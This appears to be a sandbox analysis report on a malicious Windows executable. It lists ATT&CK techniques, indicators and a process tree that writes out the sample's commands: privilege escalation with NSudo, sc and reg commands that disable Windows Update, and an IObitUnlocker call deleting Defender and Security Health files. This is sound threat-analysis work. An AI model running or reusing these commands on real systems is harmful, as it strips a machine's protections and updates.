ea54dcdfe6c5aeccab5581f25cee2c2aaa979f17fb90a7e81020b47b16c4e3aa

Analysis

max time kernel
101s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20250619-en
resource tags

arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
submitted
09/08/2025, 09:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
random.exe
Size 2.1MB
Sample250809-lvmlwscl6x
SHA256 ea54dcdfe6c5aeccab5581f25cee2c2aaa979f17fb90a7e81020b47b16c4e3aa
MD5 fa027b45c8c59dd7b9d65248a383d6ae
SHA1 9486ac0b4b9468984e36c97aa6550bc81d642a5e
SHA512 af4d42f758dd22d30110a9e49ec90f7395c6e1609d13ad849458937fb5efddb93caa3734a4e93023b7db1fb6378572c8dfe57a6ba10aff0d8dd32410540b4e1e
SSDEEP 49152:IBJmTpc8iYMtdAH8WCRzsPHOlIsUKoeFZKXlV:y4TFMHSJzPHOlFUK9Fc7
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Sets service image path in registry 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1419306801-3438187156-704942707-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1419306801-3438187156-704942707-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1419306801-3438187156-704942707-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1419306801-3438187156-704942707-1000\Control Panel\International\Geo\Nation	random.exe

Executes dropped EXE 11 IoCs

pid	Process
5948	nircmd.exe
2400	NSudoLG.exe
2532	7z.exe
1196	game.exe
2872	game.exe
5856	game.exe
2844	IObitUnlocker.exe
1452	IObitUnlocker.exe
5252	IObitUnlocker.exe
4556	IObitUnlocker.exe
2036	IObitUnlocker.exe

Loads dropped DLL 5 IoCs

pid	Process
2844	IObitUnlocker.exe
1452	IObitUnlocker.exe
5252	IObitUnlocker.exe
4556	IObitUnlocker.exe
2036	IObitUnlocker.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4540	tasklist.exe

Launches sc.exe 17 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1020	sc.exe
632	sc.exe
2316	sc.exe
1436	sc.exe
232	sc.exe
3728	sc.exe
3748	sc.exe
5964	sc.exe
532	sc.exe
2104	sc.exe
3748	sc.exe
2684	sc.exe
2916	sc.exe
2568	sc.exe
5880	sc.exe
5792	sc.exe
980	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 59 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mode.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4076	taskkill.exe
5672	taskkill.exe
5844	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\AppsUseLightTheme = "0"	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
64	reg.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2400	NSudoLG.exe
2400	NSudoLG.exe
2844	IObitUnlocker.exe
2844	IObitUnlocker.exe
2844	IObitUnlocker.exe
2844	IObitUnlocker.exe
1452	IObitUnlocker.exe
1452	IObitUnlocker.exe
1452	IObitUnlocker.exe
1452	IObitUnlocker.exe
5252	IObitUnlocker.exe
5252	IObitUnlocker.exe
5252	IObitUnlocker.exe
5252	IObitUnlocker.exe
4556	IObitUnlocker.exe
4556	IObitUnlocker.exe
4556	IObitUnlocker.exe
4556	IObitUnlocker.exe
2036	IObitUnlocker.exe
2036	IObitUnlocker.exe
2036	IObitUnlocker.exe
2036	IObitUnlocker.exe

Suspicious behavior: LoadsDriver 10 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2400	NSudoLG.exe
Token: SeDebugPrivilege	4540	tasklist.exe
Token: SeRestorePrivilege	2532	7z.exe
Token: 35	2532	7z.exe
Token: SeSecurityPrivilege	2532	7z.exe
Token: SeSecurityPrivilege	2532	7z.exe
Token: SeDebugPrivilege	4076	taskkill.exe
Token: SeRestorePrivilege	5132	reg.exe
Token: SeRestorePrivilege	2716	reg.exe
Token: SeLoadDriverPrivilege	2872	game.exe
Token: SeDebugPrivilege	5672	taskkill.exe
Token: SeLoadDriverPrivilege	5856	game.exe
Token: SeDebugPrivilege	5844	taskkill.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2844	IObitUnlocker.exe
1452	IObitUnlocker.exe
5252	IObitUnlocker.exe
4556	IObitUnlocker.exe
2036	IObitUnlocker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3832 wrote to memory of 4604	3832	random.exe	83
PID 3832 wrote to memory of 4604	3832	random.exe	83
PID 3832 wrote to memory of 4604	3832	random.exe	83
PID 4604 wrote to memory of 5948	4604	cmd.exe	86
PID 4604 wrote to memory of 5948	4604	cmd.exe	86
PID 4604 wrote to memory of 3404	4604	cmd.exe	87
PID 4604 wrote to memory of 3404	4604	cmd.exe	87
PID 4604 wrote to memory of 3404	4604	cmd.exe	87
PID 4604 wrote to memory of 2256	4604	cmd.exe	88
PID 4604 wrote to memory of 2256	4604	cmd.exe	88
PID 4604 wrote to memory of 2256	4604	cmd.exe	88
PID 4604 wrote to memory of 3216	4604	cmd.exe	89
PID 4604 wrote to memory of 3216	4604	cmd.exe	89
PID 4604 wrote to memory of 3216	4604	cmd.exe	89
PID 4604 wrote to memory of 2400	4604	cmd.exe	90
PID 4604 wrote to memory of 2400	4604	cmd.exe	90
PID 4604 wrote to memory of 4500	4604	cmd.exe	96
PID 4604 wrote to memory of 4500	4604	cmd.exe	96
PID 4604 wrote to memory of 4500	4604	cmd.exe	96
PID 4604 wrote to memory of 2664	4604	cmd.exe	97
PID 4604 wrote to memory of 2664	4604	cmd.exe	97
PID 4604 wrote to memory of 2664	4604	cmd.exe	97
PID 4604 wrote to memory of 4512	4604	cmd.exe	98
PID 4604 wrote to memory of 4512	4604	cmd.exe	98
PID 4604 wrote to memory of 4512	4604	cmd.exe	98
PID 4604 wrote to memory of 4520	4604	cmd.exe	99
PID 4604 wrote to memory of 4520	4604	cmd.exe	99
PID 4604 wrote to memory of 4520	4604	cmd.exe	99
PID 4604 wrote to memory of 4676	4604	cmd.exe	100
PID 4604 wrote to memory of 4676	4604	cmd.exe	100
PID 4604 wrote to memory of 4676	4604	cmd.exe	100
PID 4676 wrote to memory of 4540	4676	cmd.exe	101
PID 4676 wrote to memory of 4540	4676	cmd.exe	101
PID 4676 wrote to memory of 4540	4676	cmd.exe	101
PID 4604 wrote to memory of 4672	4604	cmd.exe	102
PID 4604 wrote to memory of 4672	4604	cmd.exe	102
PID 4604 wrote to memory of 4672	4604	cmd.exe	102
PID 4604 wrote to memory of 4780	4604	cmd.exe	103
PID 4604 wrote to memory of 4780	4604	cmd.exe	103
PID 4604 wrote to memory of 4780	4604	cmd.exe	103
PID 4604 wrote to memory of 4828	4604	cmd.exe	104
PID 4604 wrote to memory of 4828	4604	cmd.exe	104
PID 4604 wrote to memory of 4828	4604	cmd.exe	104
PID 4604 wrote to memory of 4716	4604	cmd.exe	105
PID 4604 wrote to memory of 4716	4604	cmd.exe	105
PID 4604 wrote to memory of 4716	4604	cmd.exe	105
PID 4604 wrote to memory of 316	4604	cmd.exe	106
PID 4604 wrote to memory of 316	4604	cmd.exe	106
PID 4604 wrote to memory of 316	4604	cmd.exe	106
PID 4604 wrote to memory of 4744	4604	cmd.exe	107
PID 4604 wrote to memory of 4744	4604	cmd.exe	107
PID 4604 wrote to memory of 4744	4604	cmd.exe	107
PID 4604 wrote to memory of 4428	4604	cmd.exe	108
PID 4604 wrote to memory of 4428	4604	cmd.exe	108
PID 4604 wrote to memory of 4428	4604	cmd.exe	108
PID 4604 wrote to memory of 936	4604	cmd.exe	110
PID 4604 wrote to memory of 936	4604	cmd.exe	110
PID 4604 wrote to memory of 936	4604	cmd.exe	110
PID 4604 wrote to memory of 4636	4604	cmd.exe	111
PID 4604 wrote to memory of 4636	4604	cmd.exe	111
PID 4604 wrote to memory of 4636	4604	cmd.exe	111
PID 4604 wrote to memory of 3384	4604	cmd.exe	113
PID 4604 wrote to memory of 3384	4604	cmd.exe	113
PID 4604 wrote to memory of 3384	4604	cmd.exe	113

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3832
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\quEv9xq.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4604
- - C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
    nircmd win min process "cmd.exe"
    3⤵
    - Executes dropped EXE
    PID:5948
- - C:\Windows\SysWOW64\chcp.com
    chcp 65001
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3404
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKU\S-1-5-19"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2256
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    PID:3216
- - C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
    NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\quEv9xq.bat" any_word
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2400
- - C:\Windows\SysWOW64\mode.com
    Mode 79,49
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4500
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ver
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2664
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4512
- - C:\Windows\SysWOW64\find.exe
    find /i "0x0"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4520
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c tasklist
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4540
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4672
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4780
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4828
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\Sense"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4716
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:316
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4744
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4428
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:936
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3384
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5092
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4448
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4900
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4948
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4972
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" ver "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4924
- - C:\Windows\SysWOW64\findstr.exe
    findstr /c:"6.1.7601"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4860
- - C:\Windows\SysWOW64\reg.exe
    reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4864
- - C:\Windows\SysWOW64\find.exe
    find /i "Windows 7"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5328
- - C:\Windows\SysWOW64\reg.exe
    reg query HKLM\System\CurrentControlset\Services\WdFilter
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:64
- - C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
    7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2532
- - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
    game.exe /CurrentDiskSize
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1196
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:2612
    - - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:2568
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1196"
      4⤵
      PID:3276
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "1196"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4076
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5880
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:5792
- - C:\Windows\SysWOW64\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2316
- - C:\Windows\SysWOW64\sc.exe
    sc config dosvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:980
- - C:\Windows\SysWOW64\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1436
- - C:\Windows\SysWOW64\sc.exe
    sc config bits start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:532
- - C:\Windows\SysWOW64\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:232
- - C:\Windows\SysWOW64\sc.exe
    sc config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3728
- - C:\Windows\SysWOW64\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2104
- - C:\Windows\SysWOW64\sc.exe
    sc config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3748
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5124
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1576
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5844
- - C:\Windows\SysWOW64\reg.exe
    reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5132
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5812
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5344
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1704
- - C:\Windows\SysWOW64\reg.exe
    reg unload HKLM\TEMP_SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2716
- - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
    game /delwd
    3⤵
    - Sets service image path in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2872
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:4260
    - - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:2916
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
      4⤵
      PID:5380
    - - C:\Windows\system32\sc.exe
        
        sc stop IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:1020
    - - C:\Windows\system32\sc.exe
        
        sc delete IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:632
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "2872"
      4⤵
      PID:3316
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /pid "2872"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5672
- - C:\Users\Admin\AppData\Local\Temp\hater\game.exe
    game /DelWD
    3⤵
    - Sets service image path in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5856
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:3532
    - - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:2684
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\w